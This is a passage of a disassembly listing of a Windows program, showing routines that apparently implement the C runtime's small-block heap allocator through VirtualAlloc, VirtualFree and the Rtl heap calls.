		mov	ebx, esi

loc_41AEBD:				; CODE XREF: sub_41ADB4+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41AECF
		mov	edx, esi

loc_41AECF:				; CODE XREF: sub_41ADB4+117j
		cmp	ebx, edx
		jz	short loc_41AF36
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41AF1E
		cmp	ebx, 20h
		jnb	short loc_41AEFF
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41AF1E
; ---------------------------------------------------------------------------

loc_41AEFF:				; CODE XREF: sub_41ADB4+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_41AF1E:				; CODE XREF: sub_41ADB4+128j
					; sub_41ADB4+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_41AF36:				; CODE XREF: sub_41ADB4+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41AF3E
; ---------------------------------------------------------------------------

loc_41AF3B:				; CODE XREF: sub_41ADB4+EDj
		mov	ebx, [ebp+arg_0]

loc_41AF3E:				; CODE XREF: sub_41ADB4+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41AF4C
		cmp	ebx, edx
		jz	loc_41AFCD

loc_41AF4C:				; CODE XREF: sub_41ADB4+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41AFCD
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41AFA4
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AF93
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41AF93:				; CODE XREF: sub_41ADB4+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41AFCD
; ---------------------------------------------------------------------------

loc_41AFA4:				; CODE XREF: sub_41ADB4+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AFBA
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41AFBA:				; CODE XREF: sub_41ADB4+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_41AFCD:				; CODE XREF: sub_41ADB4+192j
					; sub_41ADB4+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41B0D8
		mov	eax, ds:dword_48B674
		test	eax, eax
		jz	loc_41B0CA
		mov	ecx, ds:dword_48B66C
		mov	esi, ds:dword_4241B0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, ds:dword_48B66C
		mov	eax, ds:dword_48B674
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, ds:dword_48B674
		mov	ecx, ds:dword_48B66C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, ds:dword_48B674
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, ds:dword_48B674
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41B05B
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, ds:dword_48B674

loc_41B05B:				; CODE XREF: sub_41ADB4+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41B0CA
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, ds:dword_48B674
		push	dword ptr [eax+10h]
		push	0
		push	ds:dword_48B684
		call	ds:dword_4240E4	; RtlFreeHeap
		mov	eax, ds:dword_48B678
		mov	edx, ds:dword_48B67C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, ds:dword_48B674
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_4182C0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	ds:dword_48B678
		cmp	eax, ds:dword_48B674
		jbe	short loc_41B0C0
		sub	[ebp+arg_0], 14h

loc_41B0C0:				; CODE XREF: sub_41ADB4+306j
		mov	eax, ds:dword_48B67C
		mov	ds:dword_48B670, eax

loc_41B0CA:				; CODE XREF: sub_41ADB4+234j
					; sub_41ADB4+2ABj
		mov	eax, [ebp+arg_0]
		mov	ds:dword_48B66C, edi
		mov	ds:dword_48B674, eax

loc_41B0D8:				; CODE XREF: sub_41ADB4+38j
					; sub_41ADB4+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ADB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0DD	proc near		; CODE XREF: sub_417BC7+18p
					; sub_41944F+77p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, ds:dword_48B678
		mov	edx, ds:dword_48B67C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41B11D
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41B12D
; ---------------------------------------------------------------------------

loc_41B11D:				; CODE XREF: sub_41B0DD+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax

loc_41B12D:				; CODE XREF: sub_41B0DD+3Ej
		mov	eax, ds:dword_48B670
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B154

loc_41B13B:				; CODE XREF: sub_41B0DD+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B154
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41B13B

loc_41B154:				; CODE XREF: sub_41B0DD+5Cj
					; sub_41B0DD+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41B1D2
		mov	ebx, edx

loc_41B15B:				; CODE XREF: sub_41B0DD+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B177
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B175
		add	ebx, 14h
		jmp	short loc_41B15B
; ---------------------------------------------------------------------------

loc_41B175:				; CODE XREF: sub_41B0DD+91j
		cmp	ebx, eax

loc_41B177:				; CODE XREF: sub_41B0DD+83j
		jnz	short loc_41B1D2

loc_41B179:				; CODE XREF: sub_41B0DD+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41B18F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B18C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41B179
; ---------------------------------------------------------------------------

loc_41B18C:				; CODE XREF: sub_41B0DD+A5j
		cmp	ebx, [ebp+var_4]

loc_41B18F:				; CODE XREF: sub_41B0DD+9Fj
		jnz	short loc_41B1B7
		mov	ebx, edx

loc_41B193:				; CODE XREF: sub_41B0DD+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B1A7
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B1A5
		add	ebx, 14h
		jmp	short loc_41B193
; ---------------------------------------------------------------------------

loc_41B1A5:				; CODE XREF: sub_41B0DD+C1j
		cmp	ebx, eax

loc_41B1A7:				; CODE XREF: sub_41B0DD+BBj
		jnz	short loc_41B1B7
		call	sub_41B3E6
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41B1CB

loc_41B1B7:				; CODE XREF: sub_41B0DD:loc_41B18Fj
					; sub_41B0DD:loc_41B1A7j
		push	ebx
		call	sub_41B497
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41B1D2

loc_41B1CB:				; CODE XREF: sub_41B0DD+D8j
		xor	eax, eax
		jmp	loc_41B3E1
; ---------------------------------------------------------------------------

loc_41B1D2:				; CODE XREF: sub_41B0DD+7Aj
					; sub_41B0DD:loc_41B177j ...
		mov	ds:dword_48B670, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41B1F9
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B230

loc_41B1F9:				; CODE XREF: sub_41B0DD+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41B22D

loc_41B216:				; CODE XREF: sub_41B0DD+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41B216

loc_41B22D:				; CODE XREF: sub_41B0DD+137j
		mov	edx, [ebp+var_4]

loc_41B230:				; CODE XREF: sub_41B0DD+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41B259
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi

loc_41B259:				; CODE XREF: sub_41B0DD+16Dj
					; sub_41B0DD+183j
		test	ecx, ecx
		jl	short loc_41B262
		shl	ecx, 1
		inc	edi
		jmp	short loc_41B259
; ---------------------------------------------------------------------------

loc_41B262:				; CODE XREF: sub_41B0DD+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41B27F
		push	3Fh
		pop	esi

loc_41B27F:				; CODE XREF: sub_41B0DD+19Dj
		cmp	esi, edi
		jz	loc_41B394
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B2F0
		cmp	edi, 20h
		jge	short loc_41B2BF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------

loc_41B2BF:				; CODE XREF: sub_41B0DD+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------

loc_41B2ED:				; CODE XREF: sub_41B0DD+1D6j
					; sub_41B0DD+203j
		mov	ebx, [ebp+arg_0]

loc_41B2F0:				; CODE XREF: sub_41B0DD+1B0j
					; sub_41B0DD+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41B3A0
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B391
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41B362
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B350
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_41B350:				; CODE XREF: sub_41B0DD+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41B391
; ---------------------------------------------------------------------------

loc_41B362:				; CODE XREF: sub_41B0DD+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B37B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_41B37B:				; CODE XREF: sub_41B0DD+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_41B391:				; CODE XREF: sub_41B0DD+24Ej
					; sub_41B0DD+283j
		mov	ecx, [ebp+var_8]

loc_41B394:				; CODE XREF: sub_41B0DD+1A4j
		test	ecx, ecx
		jz	short loc_41B3A3
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41B3A3
; ---------------------------------------------------------------------------

loc_41B3A0:				; CODE XREF: sub_41B0DD+229j
		mov	ecx, [ebp+var_8]

loc_41B3A3:				; CODE XREF: sub_41B0DD+2B9j
					; sub_41B0DD+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41B3D9
		cmp	ebx, ds:dword_48B674
		jnz	short loc_41B3D9
		mov	ecx, [ebp+var_4]
		cmp	ecx, ds:dword_48B66C
		jnz	short loc_41B3D9
		and	ds:dword_48B674, 0

loc_41B3D9:				; CODE XREF: sub_41B0DD+2E0j
					; sub_41B0DD+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_41B3E1:				; CODE XREF: sub_41B0DD+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B0DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B3E6	proc near		; CODE XREF: sub_41B0DD+CCp
		mov	eax, ds:dword_48B678
		mov	ecx, ds:dword_48B668
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41B429
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	ds:dword_48B67C
		push	edi
		push	ds:dword_48B684
		call	ds:dword_424194	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_41B479
		add	ds:dword_48B668, 10h
		mov	ds:dword_48B67C, eax
		mov	eax, ds:dword_48B678

loc_41B429:				; CODE XREF: sub_41B3E6+11j
		mov	ecx, ds:dword_48B67C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	ds:dword_48B684
		lea	esi, [ecx+eax*4]
		call	ds:dword_4240E8	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41B479
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_4241B4	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41B47D
		push	dword ptr [esi+10h]
		push	edi
		push	ds:dword_48B684
		call	ds:dword_4240E4	; RtlFreeHeap

loc_41B479:				; CODE XREF: sub_41B3E6+30j
					; sub_41B3E6+67j
		xor	eax, eax
		jmp	short loc_41B494
; ---------------------------------------------------------------------------

loc_41B47D:				; CODE XREF: sub_41B3E6+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	ds:dword_48B678
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_41B494:				; CODE XREF: sub_41B3E6+95j
		pop	edi
		pop	esi
		retn
sub_41B3E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B497	proc near		; CODE XREF: sub_41B0DD+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx

loc_41B4A9:				; CODE XREF: sub_41B497+19j
		test	eax, eax
		jl	short loc_41B4B2
		shl	eax, 1
		inc	ebx
		jmp	short loc_41B4A9
; ---------------------------------------------------------------------------

loc_41B4B2:				; CODE XREF: sub_41B497+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax

loc_41B4C7:				; CODE XREF: sub_41B497+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41B4C7
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	ds:dword_4241B4	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41B4FA
		or	eax, 0FFFFFFFFh
		jmp	loc_41B58D
; ---------------------------------------------------------------------------

loc_41B4FA:				; CODE XREF: sub_41B497+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41B540
		lea	eax, [edi+10h]

loc_41B507:				; CODE XREF: sub_41B497+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41B507

loc_41B540:				; CODE XREF: sub_41B497+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41B57D
		or	[eax+4], edi

loc_41B57D:				; CODE XREF: sub_41B497+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_41B58D:				; CODE XREF: sub_41B497+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B497	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B592	proc near		; CODE XREF: sub_41944F+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41B740
		test	bl, 1
		jnz	loc_41B739
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41B739
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41B609
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41B609:				; CODE XREF: sub_41B592+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41B659
		cmp	ecx, 20h
		jnb	short loc_41B635
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B659
; ---------------------------------------------------------------------------

loc_41B635:				; CODE XREF: sub_41B592+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41B659:				; CODE XREF: sub_41B592+7Dj
					; sub_41B592+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41B727
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41B693
		push	3Fh
		pop	edi

loc_41B693:				; CODE XREF: sub_41B592+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41B715
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41B6EC
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B6DF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41B6DF:				; CODE XREF: sub_41B592+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41B711
; ---------------------------------------------------------------------------

loc_41B6EC:				; CODE XREF: sub_41B592+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B702
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41B702:				; CODE XREF: sub_41B592+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h

loc_41B711:				; CODE XREF: sub_41B592+158j
		shr	edx, cl
		or	[eax], edx

loc_41B715:				; CODE XREF: sub_41B592+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41B72A
; ---------------------------------------------------------------------------

loc_41B727:				; CODE XREF: sub_41B592+E5j
		mov	edx, [ebp+arg_4]

loc_41B72A:				; CODE XREF: sub_41B592+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41B880
; ---------------------------------------------------------------------------

loc_41B739:				; CODE XREF: sub_41B592+52j
					; sub_41B592+5Cj
		xor	eax, eax
		jmp	loc_41B883
; ---------------------------------------------------------------------------

loc_41B740:				; CODE XREF: sub_41B592+49j
		jge	loc_41B880
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41B76B
		push	3Fh
		pop	esi

loc_41B76B:				; CODE XREF: sub_41B592+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41B7FA
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B784
		push	3Fh
		pop	esi

loc_41B784:				; CODE XREF: sub_41B592+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41B7D3
		cmp	esi, 20h
		jnb	short loc_41B7AF
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B7D0
; ---------------------------------------------------------------------------

loc_41B7AF:				; CODE XREF: sub_41B592+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41B7D0:				; CODE XREF: sub_41B592+214j
					; sub_41B592+21Bj ...
		mov	ebx, [ebp+arg_4]

loc_41B7D3:				; CODE XREF: sub_41B592+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B7FA
		push	3Fh
		pop	esi

loc_41B7FA:				; CODE XREF: sub_41B592+1DDj
					; sub_41B592+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41B877
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41B84E
